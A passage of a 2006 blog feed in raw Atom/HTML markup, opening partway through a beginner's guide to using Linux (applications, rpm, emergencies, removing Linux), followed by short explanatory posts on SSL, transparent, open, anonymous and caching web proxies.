mine.&lt;br/&gt;• I find that text-based applications often have more features, are better documented, etc.&lt;br/&gt;However, in listing my favorite applications in Section 6.2 below, I’ve made sure to list both text-based and&lt;br/&gt;GUI programs.&lt;br/&gt;My Favorite Unix/Linux Utilities and Applications&lt;br/&gt;Text Editing&lt;br/&gt;I use a modern extension to the vi editor, vim. This is the version of vi which is built in to most Linux&lt;br/&gt;Note: In the Fedora distro, somehow the version of vim that is linked to vi isn’t configured fully correctly. I suggest using /usr/bin/vim directly.&lt;br/&gt;Even though vim is text-based, it does have a GUI version too, gvim. This comes with nice icons, allows you to do mouse operations, etc. Unfortunately, most Linux distros seem to have only the text-based program.&lt;br/&gt;To get the GUI, you can download it yourself. See my tutorial on how to do this.&lt;br/&gt;&lt;br/&gt;Web Browsing&lt;br/&gt;&lt;br/&gt;Your Linux distro will come with a Web browser, either Konqueror or Epiphany, and possibly Firefox. If you don’t have the latter, download it from theWeb, www.mozilla.org/products/firefox/. And by the way, it’s available for Windows too.&lt;br/&gt;I almost always use Firefox. But believe it or not, sometimes I use the famous text-based browser, lynx. In some caes, it is just plain quicker and easier.&lt;br/&gt;Your Firefox system may not be configured for Java. If so, see www.mozilla.org/support/firefox/&lt;br/&gt;&lt;br/&gt;E-Mail&lt;br/&gt;I use the mutt e-mail utility. It is very flexible and customizable, and excellent features. For example, it has great search capabilities, important if you are a heavy e-mail user. I like its ability to record the fact that one has already replied to a message, and the fact that it allows you to save partially-written message for a later time when you can finish writing it. It is text-based, not GUI, but the functionality it gives is what really counts. If you prefer a GUI-based mail utility, many nice ones exist for Linux. Check the Web for these, or use the Thunderbird e-mail utility in the Firefox Web browser suite.&lt;br/&gt;&lt;br/&gt;HTML Editing&lt;br/&gt;I usually use Vim, along with some macros I’ve written for HTML editing, but I sometimes use Amaya, which is a full-featured WYSIWYG HTML editor, written by the Web policy consortium. One nice feature is that you can actually use the embedded Web links, good for testing them.&lt;br/&gt;very nice things about a newer and more powerful package, Quanta+ (http://quanta.kdewebdev.org).&lt;br/&gt;Integrated Software Development (IDE) For C/C++ work, I actually don’t use an IDE. I find that the vim editor (cited above) and the ddd GUI interface to the gdb debugging tool, work great together. For example in vim I can type :make (which I have aliased to just M, or with gvim click on the hammer icon, and the source code I’m debugging will b recompiled. And as I’ve mentioned, it’s important to me that I use the same text editor for all applications, It can be used with C, C++, Java, Perl, Python and many others.&lt;br/&gt;Also, for KDE users, there is a very well-received IDE named KDevelop. I lean toward Eclipse, though, as it is easier to learn, is cross-platform, and can be used with more programming languages.&lt;br/&gt;&lt;br/&gt;Word Processing&lt;br/&gt;I use LATEX because of its flexibility, its beautiful output, and its outstanding ability to do math. You may like Lyx, which is a great WYSIWYG interface to LATEX which is especially good for math work.&lt;br/&gt;If you wish to work with files compatible with the Microsoft Office environment, there is a free suite of programs, OpenOffice, which provide Microsoft compatibility. It is packaged with most Linux distributions. Playing Movies, DVDs, Etc.&lt;br/&gt;MPlayer is free and very good. You do have to compile it yourself, but its capabilities are quite broad.&lt;br/&gt;The documentation is extensive, and hard to navigate, but here are a couple of things to get you started:&lt;br/&gt;To play a movie you have the file for, say x.avi, type&lt;br/&gt;mplayer x.avi&lt;br/&gt;To play a DVD, put the disk in the tray and mount the device (see Section 5.5). Then type mplayer dvd://1 -dvd-device /mnt/cdrom&lt;br/&gt;There are many, MANY different options.&lt;br/&gt;You may wish to try other players, e.g. Xine or Ogle.&lt;br/&gt;Image Manipulation and Drawing&lt;br/&gt;Want something like Adobe Photoshop? The GIMP program is quite powerful, and free. It’s included with most Linux distributions.&lt;br/&gt;You can use GIMP to draw, but for "quick and dirty" tasks, I would suggest Dia, at http://www.gnome.org/projects/dia/.&lt;br/&gt;Accessing Usenet Newsgroups&lt;br/&gt;Linux distros generally come a text-based newsreader, either slrn or tin. I generally use slrn, but am not that happy with any known newsreader.&lt;br/&gt;In the GUI arena, I sometimes use pan. You can download it from pan.rebelbase.com.&lt;br/&gt;Firefox’s Thunderbird program includes a newsreader too.&lt;br/&gt;I usually use the text-based ftp and sftp, the latter being an SSH version for security.&lt;br/&gt;A very nice GUI program, though, is gftp, which you can download from the Web if your Linux system doesn’t already have it. In addition to the GUI, this program also has some functionality which ordinary&lt;br/&gt;&lt;br/&gt;FTP programs don’t have.&lt;br/&gt;&lt;br/&gt;Statistical Analysis&lt;br/&gt;&lt;br/&gt;Use the statistical package that the professional statisticians use—R!&lt;br/&gt;In my opinion from the point of view of someone with a "foot in both camps"—I’m a computer science professor who used to be a statistics professor—the R statistical package is the best one around, whether open source or commercial. It is statistically modern and correct, and it also is a general-purpose programming language.&lt;br/&gt;&lt;br/&gt;Using RPMs&lt;br/&gt;You can add more programs from your Linux CD-ROM or from theWeb (most of them are free). They tend to be in RPM packages, with .rpm suffixes in their names. To install such a package, type&lt;br/&gt;rpm -i package_file_name&lt;br/&gt;If you later wish to remove, i.e. uninstall a package, you can use rpm -e (‘e’ stands for "erase"). You do NOT have to have the RPM file present to do this.&lt;br/&gt;Some packages will have different versions for different C libraries. Red Hat uses glibc. Type ls -l /lib/libc* to see which version you have.&lt;br/&gt;You may find that you need some library files for a program you download, and that you are missing those files. You can usually get these from the Web too. If a program complains about a missing file, try the ldd command (e.g. ldd x if the name of the program which needs the library is x); this will tell you which libraries are needed, where they were found on your system, and which ones, if any, were not found.&lt;br/&gt;Learning More About Linux&lt;br/&gt;Wanna Get Good at Linux? Use It for Everything!&lt;br/&gt;The only way to really learn Linux is to use it on a daily basis for all your computer work—e-mail, word processing, Web work, etc.&lt;br/&gt;As you do this, the expertise you’ll want to pick up includes: file, directory and mount operations; process operations; roles of system directories (/usr, /etc, /dev and their various subdirectories, e.g. /usr/lib; search paths; network operation and utilities such as netstat; and so on. Don’t try to do this all at once.&lt;br/&gt;Instead, take your time, and learn these naturally, as the need arises. As you use Linux more and more in your daily computer application work (e-mail, word processing, etc.), the needs will arise as you go along.&lt;br/&gt;In some respects, it’s even better than S, the commercial product it is based on.&lt;br/&gt;And remember, there’s lots of help available if you need it.&lt;br/&gt;Getting Help&lt;br/&gt;Newsgroups&lt;br/&gt;There are various Usenet newsgroups devoted to Linux, a few of which are:&lt;br/&gt;comp.os.linux.setup&lt;br/&gt;comp.os.linux.hardware&lt;br/&gt;comp.os.linux.answers&lt;br/&gt;comp.os.linux.announce (excellent for news of new programs, mostly free, that run under Linux)&lt;br/&gt;By the way, if you have a problem with hardware and post a query about it to a newsgroup, it is a good idea to include the output from the dmesg command. It gives a record of what occurred during bootup.&lt;br/&gt;&lt;br/&gt;The Web&lt;br/&gt;• Linux home page, at http://www.linux.org/ Lots and lots of information is available here.&lt;br/&gt;• www.linux.com. Chock full of information and links.&lt;br/&gt;• Google’s excellent set of links to various Linux sites, http://directory.google.com/Top/&lt;br/&gt;Computers/Software/Operating Systems/Linux&lt;br/&gt;• Another good set of Linux links, http://www.linuxjunior.org/resources.shtml&lt;br/&gt;• If you are having trouble with specific hardware in your Linux installation, an excellent place to go for detailed information is the Linux HOW-TO documentation. (For the same reason, if you are&lt;br/&gt;about to purchase a machine and suspect that some of the hardware is nonstandard, you can check the corresponding Linux HOW-TO to see if there are any problems with that hardware.&lt;br/&gt;The HOW-TO documents are available at many sites, such as the one at linux.org.&lt;br/&gt;&lt;br/&gt;LUGs&lt;br/&gt;There are Linux Users Groups (LUGs) in virtually every city. You can join if you wish, or just get to know them casually. They are great sources of help! And by the way, many of them hold monthly Linux Installfests, where you can see Linux being installed or have it installed on your own machine.&lt;br/&gt;What to Do in an Emergecny&lt;br/&gt;One of Linux’s biggest strengths is its stability. If you are tired of getting Windows’ infamous "blue screen of death," then Linux is the OS for you. (It is also subject to far fewer virus and other attacks thanWindows.)&lt;br/&gt;So emergencies are rare, but they can happen. Here is what to do in such a case:&lt;br/&gt;If an application program freezes up and you invoked it from the command line within a shell, you can in most cases kill it by hitting Ctrl-c in the terminal window from which invoked it. If this doesn’t work, run the "processes" command by typing&lt;br/&gt;ps ax&lt;br/&gt;in another terminal window, and noting the process number of your program. Say for concreteness that that number is 2398. Then type kill -9 2398 to kill the program.&lt;br/&gt;What if your entire screen freezes up? Again, this should be quite rare, but it is possible. I recommend the following remedies, in order:&lt;br/&gt;&lt;br/&gt;• Try going to another screen! Linux allows you to switch among multiple screens. You can switch to the second screen via Alt F2 or Ctrl 2, depending on your system. Then open a terminal window in the new screen, find the process number of the program and kill the program, as described above.&lt;br/&gt;• Try hitting Ctrl Alt Backspace (all keys simultaneously). This should cause an exit from Linux’s X11 windowing system but not an exit from Linux itself. You would then get an opportunity to log in again.&lt;br/&gt;&lt;br/&gt;• As a last resort, try the famous Ctrl Alt Delete, to cause a reboot.&lt;br/&gt;If You Are Upgrading or Replacing Another Version or Distribution of Linux (If you are installing Linux from scratch, skip this section.) Suppose you already have Linux installed but are upgrading to a newer version of the same distribution or changing to a different distribution. First of course you will want to make sure you back up your old files, just in case sometimes goes wrong.&lt;br/&gt;Note that in addition to any "personal" files you have, you may also have added some downloaded packages, whose files are now in places like /usr/local/. You may also have modified files in /etc, such as&lt;br/&gt;/etc/resolv.conf. You may wish to tar these into a save file too. (Don’t copy the Linux system files, .e.g in /usr/bin, though, since you want them to be replaced by their counterparts in the new version of Linux.)&lt;br/&gt;Accessing Your Windows Files from Linux&lt;br/&gt;Some Linux distributions give you access (at least read access) to your Windows partition from Linux, say as some subdirectory of /mnt. Fedora/Linux does not do this, but you can add free software for this purpose from the Linux-NTFS Project, http://www.linux-ntfs.org/&lt;br/&gt;If You Wish to Remove Linux&lt;br/&gt;If you wish to remove Linux from your machine, first run Linux’s version of fdisk and remove all the Linux partitions. (Be careful not to remove the DOS/Windows partitions!)&lt;br/&gt;Then boot up Windows, and remove LILO/GRUB as follows. First, get a command window by clicking Start | Run | cmd Then type&lt;br/&gt;c:\&lt;br/&gt;cd \windows\command&lt;br/&gt;fdisk /mbr&lt;br/&gt;Subsequently Windows will boot up as it did before you installed Linux.&lt;br/&gt;Finally, use Windows’ diskpart to recover the former Linux space as Windows partitions.&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115771831860583372?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115771831860583372/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115771831860583372&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115771831860583372'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115771831860583372'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/installing-and-using-linux.html' title='Installing and Using Linux'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115743406291053861</id><published>2006-09-05T12:26:00.000+07:00</published><updated>2006-09-05T23:45:13.930+07:00</updated><title type='text'>SSL proxies</title><content type='html'>A growing subset of Web traffic uses HTTPS to create an encrypted tunnel. Regulations often require all Intranet and ASP applications handling sensitive data to use encryption. Traditional (HTTP) proxies can not cache encrypted traffic; hence provide no acceleration, control or bandwidth savings for SSL applications.&lt;br/&gt;&lt;br/&gt;HTTPS Proxy are specifically designed to decrypt, apply policy, cache and re-encrypt SSL traffic. As a result, HTTPS Proxy can transparently monitor, control and accelerate SSL traffic. HTTPS Proxy can also apply malware scanning and content filtering to inhibit phishing, spyware and computer viruses hiding inside encrypted tunnels.&lt;br/&gt;&lt;br/&gt;There are privacy concerns with SSL proxy. In essence, the IT department is conducting a Man-in-the-middle attack, potentially exposing sensitive corporate information, personal online banking information, etc. Countries such as Sweden have very strong privacy laws, which may require the HTTPS Proxy to handle corporate information with different policy than personal traffic. Content filtering can differentiate this traffic. Additional compromise policy options include caching GIF and JPEG objects (which typically are user interface elements and lack confidential data), but exclude from caching HTML and TXT traffic.&lt;br/&gt;&lt;br/&gt;Sometimes the term "SSL proxy" also refers to CGI web proxies that are accessible via encrypted SSL connections. In this case, SSL adds an extra layer of security on top of the CGI proxy system, lessening the chance of data interception.&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115743406291053861?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115743406291053861/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115743406291053861&amp;isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115743406291053861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115743406291053861'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/ssl-proxies.html' title='SSL proxies'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115743395943379780</id><published>2006-09-05T12:25:00.000+07:00</published><updated>2006-09-05T12:25:59.443+07:00</updated><title type='text'>Transparent proxies</title><content type='html'>Many organizations — including corporations, schools, and families — use a proxy server to enforce acceptable network use policies (see censorware) or to provide security, anti-malware and/or caching services. A traditional web proxy is not transparent to the client application, which must be configured to use the proxy (manually or with a configuration script). In some cases, where alternative means of connection to the Internet are available (e.g. a SOCKS server or NAT connection), the user may be able to avoid policy control by simply resetting the client configuration and bypassing the proxy. Furthermore administration of browser configuration can be a burden for network administrators.&lt;br/&gt;&lt;br/&gt;A transparent proxy or intercepting proxy (also known as a forced proxy) combines a proxy server with NAT. Connections made by client browsers through the NAT are intercepted and redirected to the proxy without client-side configuration (or often knowledge).&lt;br/&gt;&lt;br/&gt;Transparent proxies are commonly used in businesses to prevent avoidance of acceptable use policy, and to ease administrative burden, since no client browser configuration is required.&lt;br/&gt;&lt;br/&gt;Transparent proxies are also commonly used by Internet Service Providers in many countries in order to reduce upstream link bandwidth requirements by providing a shared cache to their customers.&lt;br/&gt;&lt;br/&gt;It is often possible to detect the use of a transparent proxy server by comparing the external IP address to the address seen by an external web server, or by examining the HTTP headers on the server side.&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115743395943379780?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115743395943379780/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115743395943379780&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115743395943379780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115743395943379780'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/transparent-proxies.html' title='Transparent proxies'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115743204606887778</id><published>2006-09-05T11:53:00.000+07:00</published><updated>2006-09-05T11:54:06.070+07:00</updated><title type='text'>Open proxies</title><content type='html'>An open proxy is a proxy server which will accept client connections from any IP address and make connections to any Internet resource. Abuse of open proxies is currently implicated in a significant portion of e-mail spam delivery. Spammers frequently install open proxies on unwitting end users' operating systems by means of computer viruses designed for this purpose. Internet Relay Chat (IRC) abusers also frequently use open proxies to cloak their identities.&lt;br/&gt;&lt;br/&gt;Because proxies might be used for abuse, system administrators have developed a number of ways to refuse service to open proxies. IRC networks such as the Blitzed network automatically test client systems for known types of open proxy [1]. Likewise, an email server may be configured to automatically test e-mail senders for open proxies, using software such as Michael Tokarev's proxycheck [2].&lt;br/&gt;&lt;br/&gt;Groups of IRC and electronic mail operators run DNSBLs publishing lists of the IP addresses of known open proxies, such as AHBL, CBL [3], NJABL [4], and SORBS.&lt;br/&gt;&lt;br/&gt;The ethics of automatically testing clients for open proxies are controversial. Some experts, such as Vernon Schryver, consider such testing to be equivalent to an attacker portscanning the client host. [5] Others consider the client to have solicited the scan by connecting to a server whose terms of service include testing.&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115743204606887778?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115743204606887778/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115743204606887778&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115743204606887778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115743204606887778'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/open-proxies.html' title='Open proxies'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115743188256189936</id><published>2006-09-05T11:50:00.000+07:00</published><updated>2006-09-05T11:51:22.563+07:00</updated><title type='text'>Anonymous proxy risks</title><content type='html'>In using a proxy server (for example, anonymizing HTTP proxy), all data sent to the service being used (for example, HTTP server in a website) must pass through the proxy server before being sent to the service, mostly in unencrypted form. It is therefore possible, and has been demonstrated (see, for example, Sugarcane) for a malicious proxy server to record everything sent to the proxy: including unencrypted logins and passwords.&lt;br/&gt;&lt;br/&gt;By chaining proxies which do not reveal data about the original requestor, it is possible to obfuscate activities from the eyes of the user's destination. However, more traces will be left on the intermediate hops, which could be used or offered up to trace the user's activities. If the policies and administrators of these other proxies are unknown, the user may fall victim to a false sense of security just because those details are out of sight and mind.&lt;br/&gt;&lt;br/&gt;The bottom line of this is to be wary when using proxy servers, and only use proxy servers of known integrity (e.g., the owner is known and trusted, has a clear privacy policy, etc.), and never use proxy servers of unknown integrity. If there is no choice but to use unknown proxy servers, do not pass any private information (unless it is properly encrypted) through the proxy.&lt;br/&gt;&lt;br/&gt;More of an inconvenience than a risk, proxy users may find themselves being blocked from certain websites, as numerous forums and websites block IP addresses from proxies known to have spammed or trolled the site.&lt;br/&gt;&lt;br/&gt; &lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115743188256189936?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115743188256189936/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115743188256189936&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115743188256189936'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115743188256189936'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/anonymous-proxy-risks.html' title='Anonymous proxy risks'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115743175899701702</id><published>2006-09-05T11:45:00.000+07:00</published><updated>2006-09-05T11:49:19.006+07:00</updated><title type='text'>Web proxies</title><content type='html'>     A common proxy application is a caching web proxy. This provides a nearby cache of web pages and files available on remote web servers, allowing local network clients to access them more quickly or reliably.&lt;br/&gt;     When it receives a request for a web resource (specified by a URL), a caching proxy looks for the resulting URL in its local cache. If found, it returns the document immediately. Otherwise it fetches it from the remote server, returns it to the requester and saves a copy in the cache. The cache usually uses an expiry algorithm to remove documents from the cache, according to their age, size, and access history. Two simple cache algorithms are Least Recently Used (LRU) and Least Frequently Used (LFU). LRU removes the documents that have been left the longest, while LFU removes the least popular documents. The algorithms can also be combined.&lt;br/&gt;Web proxies can also filter the content of web pages served. Some censorware applications — which attempt to block offensive web content — are implemented as web proxies. Other web proxies reformat web pages for a specific purpose or audience; for example, Skweezer reformats web pages for cell phones and PDAs. Network operators can also deploy proxies to intercept computer viruses and other hostile content served from remote web pages.&lt;br/&gt;A special case of web proxies are "CGI proxies." These are web sites which allow a user to access a site through them. They generally use PHP or CGI to implement the proxying functionality. CGI proxies are frequently used to gain access to web sites blocked by corporate or school proxies. Since they also hide the user's own IP address from the web sites they access through the proxy, they are sometimes also used to gain a degree of anonymity, called "Proxy Avoidance."&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
